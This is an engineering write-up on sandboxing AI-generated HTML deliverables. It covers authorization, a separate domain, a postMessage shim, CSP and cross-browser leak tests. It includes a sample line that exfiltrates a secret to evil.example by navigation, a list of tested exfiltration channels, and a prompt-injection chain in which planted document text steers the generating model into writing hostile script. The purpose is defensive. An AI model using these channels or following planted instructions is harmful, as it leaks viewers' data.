Building a self-contained interactive page takes minutes now, and increasingly a model does it. The hosting was built on the assumption that whoever wrote the file, person or model, cannot be trusted.
One of our products lets a small team of admins publish self-contained HTML documents to their clients: interactive reports, prototypes, dashboards a designer built by hand. The ask sounded simple. Upload the file, get a link, send the link. The real work turned out to be everything behind that link.
An uploaded HTML file is a program. It runs JavaScript with whatever privileges the page it lands on happens to have. We were about to take those files and render them inside a platform holding confidential client data. "It's our own file, we trust it" is not a security model. Neither is "we'll sanitize it", because sanitizing away the scripts kills the feature.
The author is changing, too. Producing a working, interactive HTML page used to be a small project. Now it is a prompt, and the next phase of the product has the platform's assistant writing these files unattended: you ask for an interactive demand model mid-conversation, a generation agent writes the HTML, and you get a link back in the same minute. Nobody opens the file in between. While files were written slowly, by people whose names you knew, "we trust the author" was doing real work in the argument. Once a model writes the file, that argument is gone.
The shape may already be familiar: Claude does something like this with its Artifacts, where you ask for something and get a small working page back instead of a paragraph. We are building our own version of that inside the product: the hosting described here is live, the generation phase is next. The difference is what happens to the page afterwards. Ours are deliverables, sent by link to people at client companies, so access has to stay revocable after the link is forwarded, and the hosting has to hold even if the author turns out to be compromised.
The risk that actually shaped the design is prompt injection, and the chain is short and entirely plausible: someone uploads a document into a chat, the document carries text addressed to the model rather than to the reader, the model later writes an artifact and follows that text, and the resulting JavaScript executes in a viewer's browser. The viewer is a senior person on the client side, signed into our platform, on a corporate laptop. Nobody in that chain does anything unusual, which is what makes it worth engineering against. The probability is low and the impact would be catastrophic for the product and its customers.
So we settled on one rule: nothing upstream of the browser gets trusted. That covers the uploader, the prompt, the agent architecture, and our own QA step.
The line is where trust stops. Everything above it helps, and none of it stops a determined author. Everything below it is enforced by the viewer's browser.
Three things that reduce risk and do not stop it
Generation will ship with three mitigations around it. None of them is a boundary, and it matters to know why before anyone leans on them.
The generation agent gets its own context window. The full chat history is not dragged into HTML generation. Good engineering, but not isolation: the entire purpose of that agent is to receive content from the conversation and turn it into a file. Injected text rides inside the payload, not around it.
The tool prompt requires the artifact to be self-contained. One HTML file, zero external requests, everything inlined. A model follows instructions most of the time, and most of the time is not good enough here.
The output will be checked before the link is returned. A separate model, in its own context, will render the artifact and confirm it actually works: no errors, no external requests. That catches broken output. It cannot guarantee anything about hostile output, which is exactly why the boundaries below exist.
All three stay. What we actually rely on is what the browser will refuse to do, and that splits three ways: identity (who is allowed to open this), origin (where the code runs), and capability (what it can reach once it runs). Each boundary is enforced by a different mechanism, so breaking one does not open the others: a leaked link still hits an authorization check, a hostile script still has no network, and code that ignored every instruction in its prompt still cannot read the app's cookies.
Three gates, three mechanisms. The first is enforced by our server on every open. The other two are enforced by the viewer's browser.
Boundary one: the link is not the credential
The first version was the obvious one. The share link hits an authenticated route, we check access, and we redirect to a rendering URL carrying a short-lived signed token:
/render/:uuid/:token.It did not survive review.
The post-redirect URL is a bearer credential sitting in the address bar. Anyone the client forwards it to gets in for the lifetime of the token, and the whole point of the feature was that forwarding a link should not grant access. It also breaks the way users hate: reload after the token expires and you get an error on a link that worked five minutes ago. Bookmark it and it never works again.
The difference is one box. Deleting the token URL removes the only artifact that survives a forward. What remains is a link whose value depends entirely on who is holding it.
We deleted it. There is now no URL anywhere that returns raw artifact content, and nothing is ever served as a bare object-storage URL either. The share link lives on the app origin and re-runs the full authorization check on every open:
def show return render :no_access, status: :forbidden unless can_view?(current_account, artifact) track_view(artifact) render_via_shim(artifact) end
The check reads the account's membership in the space the artifact belongs to, and nothing from the current session. Deciding from session state instead would be the quiet failure mode here: a check keyed to whatever the viewer happens to have selected can end up showing one client's artifacts to the wrong logged-in user.
Because access is decided live on every open, revocation actually works. Remove someone from the workspace and the link they were sent stops opening. Delete the artifact and it stops opening for everyone, with a screen that says so rather than a bare 404. Live checks are also what make generation safe to have later: the same link will serve different bytes tomorrow than it does today, and that is only tolerable because the link itself grants nothing.
One honest gap: modern Chromium will put a page in the back/forward cache even when you send
Cache-Control: private, no-store, so a browser Back can restore a rendered artifact without re-running the check. We accepted that for now. Closing it properly needs a pageshow handler that forces a reload.Boundary two: a different site, not a different path
With identity settled, the question is where the HTML actually executes.
Rendering it on the app origin, even inside a sandboxed iframe, was rejected fast. Site Isolation separates sites, not paths, so same-site content can land in the app's own renderer process, which puts Spectre-class attacks back on the table. And a top-level document can exfiltrate by navigating itself:
location = 'https://evil.example/?data=' + secret. No CSP directive stops that, and no sandbox token removes self-navigation.The next idea was a subdomain,
artifacts.app.example.com. It was the preferred option going in, because a subdomain is free and a second domain is paperwork. For our threat model it is not enough, in a way that catches people, because it looks isolated. A subdomain shares a registrable domain, which means it is the same site, and browsers may then keep the app and the untrusted content in the same renderer process. This is exactly why GitHub serves Pages from github.io and not from pages.github.com.So: a second registrable domain, bought for this and nothing else. Call it
example-usercontent.com. That gives browsers a site boundary they can enforce at the process-isolation layer, and it puts the app's cookies permanently out of reach.The ideal version goes one step further: every artifact on its own subdomain, so no two artifacts share a site either. Subdomains alone do not buy that, for the same reason artifacts.app.example.com failed above. What changes the math is the Public Suffix List, the registry browsers consult to decide where one site ends and another begins. Get your domain added there and each subdomain becomes its own site, with its own renderer process and its own cookie space; that is exactly what github.io did, and why every username on it counts as a separate site. We file this under ideal rather than default: the list is volunteer-maintained, inclusion goes through review with months of lead time, and the entry reaches users with browser updates, so it is not a switch everyone can flip. For now one domain carries all artifacts, and the opaque-origin sandbox keeps them out of each other's reach.
Before wrapping the artifact host in a Rails engine, I opened the new domain and typed a few paths in by hand to see what was reachable.
/login answered. Rodauth, our auth layer, is Rack middleware that sits ahead of the router, so it was serving the whole login flow on the untrusted-content domain, and would have set a session cookie there. An engine would not have touched this: isolate_namespace isolates constant lookup, not hosts and not middleware.
The auth layer was not where the router was. A Rails engine would have isolated names, and this request never reached the router at all.
The fix is blunt on purpose. A host constraint in the router that exposes a single static path and 404s everything else:
constraints ->(req) { req.host == ARTIFACTS_HOST } do
get "/shim", to: "artifacts#shim"
match "(*path)", to: ->(_env) { [ 404, { "Content-Type" => "text/plain" }, [ "Not Found" ] ] }, via: :all
end
And an explicit bail-out at the top of the Rodauth app, so the request never reaches the auth layer at all:
route do |r| next if r.host == ARTIFACTS_HOST # the rest of the auth app end
An integration test walks app paths against the artifact host and asserts a 404 on each, asserts no Set-Cookie comes back, and confirms the shim and the app's own login still work.
Getting the HTML there without giving it a URL
The constraint that shaped all of this: the artifact must render on the second domain, but there must be no fetchable content URL, because a content URL is forwardable and defeats boundary one.
So the second domain serves a shim. A static page with no artifact data, no session, and no database access. The authenticated app page frames it and hands the HTML over by postMessage.
1 the app page frames the shim, nonce in the fragment. 2 the shim announces itself with that nonce. 3 the app checks origin, source, type and nonce, removes its listener, then posts the HTML. 4 the shim re-checks all four and writes it once into a nested sandboxed frame.
<iframe src="<%= shim_url %>#<%= nonce %>"
sandbox="allow-scripts allow-same-origin"
referrerpolicy="no-referrer" allow=""></iframe>
<div id="payload" hidden data-html="<%= html %>"></div>
The nonce rides in the URL fragment, which browsers never send to the server. It ties this page load to this shim instance, so a message meant for one open cannot be replayed into another. And the payload rides in a data attribute, not a
<script> block. ERB escapes for attribute context, so the HTML tokenizer can never re-enter tag or script-data state from the payload. No </script> breakout, and none of the script-data double-escape edge cases. It is read back with dataset, as text, and never parsed as HTML on the app origin.The handshake is short:
function onReady(event) {
if (event.origin !== SHIM_ORIGIN) return;
if (event.source !== frame.contentWindow) return;
if (!event.data || event.data.type !== 'ready') return;
if (event.data.nonce !== nonce) return;
window.removeEventListener('message', onReady);
frame.contentWindow.postMessage({ type: 'render', nonce: nonce, html: html }, SHIM_ORIGIN);
}
The listener removes itself before the artifact renders, so after the handoff the app page has no message listener at all and nothing the artifact posts back can drive it. The shim mirrors those checks, renders once per load, and then builds the frame the artifact will live in:
const runtime = document.createElement('iframe');
runtime.setAttribute('sandbox', 'allow-scripts');
runtime.setAttribute('referrerpolicy', 'no-referrer');
runtime.setAttribute('allow', '');
runtime.srcdoc = policyMeta + message.html;
The untrusted HTML never runs in the shim. It runs in a nested iframe with
allow-scripts and nothing else, so it gets an opaque origin with no storage, no cookies, and no way back into the shim's DOM.You will notice the shim's own sandbox includes
allow-same-origin, normally the combination people warn you about. It is fine here for a specific reason: the shim's embedder is a different origin. Keeping its real cross-site origin is what makes the targeted postMessage and the e.origin checks work at all, and it still cannot reach the app's DOM. The nested frame drops allow-same-origin, and sandbox flags intersect, so the artifact stays opaque no matter what.The shim response also pins
frame-ancestors to the app's origin, so no other site can embed the shim and use it as a rendering primitive. That closes a side door rather than the main one, but it keeps the shim from becoming someone else's building block.Boundary three: the prompt asks, the policy enforces
Identity and origin still leave arbitrary JavaScript running somewhere. The third boundary is what it can reach. The shim response carries a policy that starts from nothing:
default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data: blob:; font-src data:; media-src data: blob:; connect-src 'none'; form-action 'none'; base-uri 'none'; object-src 'none'; frame-src 'self'; worker-src 'none'; webrtc 'block'
connect-src 'none' does the heavy lifting. It kills fetch, XMLHttpRequest, WebSocket, sendBeacon, EventSource and WebTransport in one directive. Combined with default-src 'none', the artifact cannot load an external image, script, stylesheet or font either.The generation prompt says the same thing: "one HTML file, zero external requests, inline everything". Written as a prompt it is a request the model usually honors; written as a policy it is enforced whether the model honored it or not. An artifact that ignored its instructions simply renders without the parts it should not have had.
An
about:srcdoc document inherits its parent's policy, so all of this applies inside the nested frame, and inside any further srcdoc realm the artifact spawns. On top of the inherited policy we inject a second one as a <meta> at the top of the artifact document. Browsers combine multiple policies by intersection, so a second policy can only ever tighten. We use it to close the one directive the shim needs but the artifact must not have: frame-src is 'self' in the outer policy so the shim can build the inner frame, and 'none' in the inner one. We restate the whole policy in that meta rather than the single directive we are changing, because inheritance "should" behave identically across four engines, and restating does not depend on it.Alongside it, a Permissions-Policy denies camera, microphone, geolocation, payment, USB, serial, bluetooth, clipboard read and write, and web-share. The least obvious entry:
cross-origin-isolated=()
We deliberately do not ship COEP on artifact responses. Cross-origin isolation is what unlocks SharedArrayBuffer and high-resolution timers, precisely the primitives a Spectre side channel wants. The denial pins that off even if someone adds a COEP header by accident later.
Testing the boundaries
We ran the whole setup through an adversarial battery: over 40 exfiltration vectors, against current builds of Chromium, Chrome, Firefox and WebKit. Fetch, XHR, Beacon, EventSource, WebSocket, WebTransport, images, scripts, CSS, fonts, video, object, iframes, form POST, blob workers, meta-refresh, dynamic import(), SVG,
<a ping>, window.open, Speculation Rules prefetch and prerender, cross-origin self-navigation, sandbox escape, and every attempt to read app cookies, storage or DOM: blocked in every engine.Three channels sit outside what CSP can close today, and the battery pinned down how each of them behaves.
Three channels stay open, and none of them can be closed from our side. They never reach application data. They do leave the viewer's machine, which is why the honest place to record them is a decision record, not a mitigation.
WebRTC.
connect-src does not cover it, by spec. Starting ICE from inside the sandbox puts a STUN binding request on the wire in Chromium, in branded Chrome, and in WebKit; Firefox gathers candidates but sends nothing our observer saw. One detail worth passing on: STUN rides UDP, so a TCP-only listener will report this channel as closed when it is not. CSP Level 3 defines a webrtc directive and we ship webrtc 'block', but no engine enforces it yet, so it stays defense in depth rather than a boundary until the harness proves an engine acts on it.
preconnect. Not a CSP gap. Chromium, Chrome and Firefox evaluate resource hints against the source lists and open nothing. WebKit still opens a bare TCP connection to the hinted host, with no payload, and a prefetch carrying data is blocked in all four. That split is engine behavior rather than anything the spec promises, which is why the battery runs against real browsers instead of against the standard.
dns-prefetch. Recorded as unverified. It performs a DNS lookup that is invisible to a listener on the target host, so proving or clearing it needs an authoritative DNS observer, which we have not built yet.
None of the three reaches application data, cookies, storage or DOM. What they can carry is whatever the artifact itself already holds, plus the viewer's IP and the fact that they opened it, and an authorized viewer can always copy what they were shown anyway, which is where this class of protection stops. Channels like these belong in a decision record with dates and engine versions, re-tested on every major browser release.
Two test suites that do not run together
Claims about our own code, the exact directives, the payload escaping, a fresh nonce per open, are pinned in ordinary Rails tests that run in CI, roughly 350 lines. Claims about browser behavior, whether srcdoc really inherits the policy, whether meta policies really intersect, which directives the engines actually enforce, live in a Playwright harness that rebuilds the exact production nesting and treats a raw socket listener as ground truth rather than "the JS call did not throw".
That harness stays out of CI, intentionally. It verifies someone else's software: it would go red when Chrome ships a new version rather than when we break something, and a suite that goes red for reasons outside your control gets ignored within a month. It runs before releases and on major engine versions, and a divergence from its recorded baseline means the decision record needs updating before anything ships.
The bill for the second domain
Two things went wrong in production, both caused directly by the choice we are most confident in.
The first: a brand new domain nobody has ever heard of is exactly what corporate network filters block by default. Several client users opened a perfectly valid link and got a white screen. The artifact was fine, their access was fine, their office firewall had simply never seen the domain. The tell in the end was that the same link opened instantly on mobile data. There is no server-side fix, because nothing is wrong on the server. It is a support and rollout cost: the domain has to be named to the client's IT, and the product has to explain a blocked domain rather than showing a blank page. If you isolate user content onto its own domain, budget for that conversation.
The second is smaller and funnier. The share link sits behind authentication, so when someone pasted it into Slack, the unfurler followed the redirect and generated a link preview of our login page. We put a route in front, matched on User-Agent, that serves a fixed Open Graph card. User-Agent is trivially forged, so the response behind it is safe to hand to a stranger: it names no artifact, loads none, sets no session cookie, and returns identical bytes for every ID, real or invented. Not even the existence of a slug leaks.
If you are about to build the same thing
The framing that helped most was refusing to treat "sandbox the untrusted HTML" as one problem. It is three problems with three different failure modes, and once we separated them the arguments got much shorter.
Build for the author you will have, not the one you have now. Phase one is admin-only and did not justify any of this on its own. Phase two puts a language model in the author's seat, and hardening after the fact would have meant re-deciding the hosting architecture with the feature already live.
Decide early which parts of an AI feature are security and which are hygiene. Separate context windows, careful tool prompts, an automated output check: all worth having, none of them is why we will be comfortable shipping generation.
Be suspicious of any design where the URL is the credential. It feels fine in a demo and it is wrong the first time a client forwards an email.
Assume the auth layer is not where you think it is. Ours was middleware, running ahead of every route constraint we had written, cheerfully serving a login page on the domain whose entire purpose was to have no auth on it.
Write down your residual risks, with dates and engine versions. Browser behavior moves, and a decision record that names exact builds is the only thing that keeps the next re-test honest. A residual risk described accurately is a decision; described optimistically, it is a surprise for whoever inherits the code.
And when you get it working, open the link from a laptop on a corporate network before you tell anyone it is done.
This is a working write-up of a system that is still moving. The generation phase is not shipped yet, and the browser-behavior notes get re-tested on new engine versions. The article will be updated as that happens.
Happy Coding!
Share: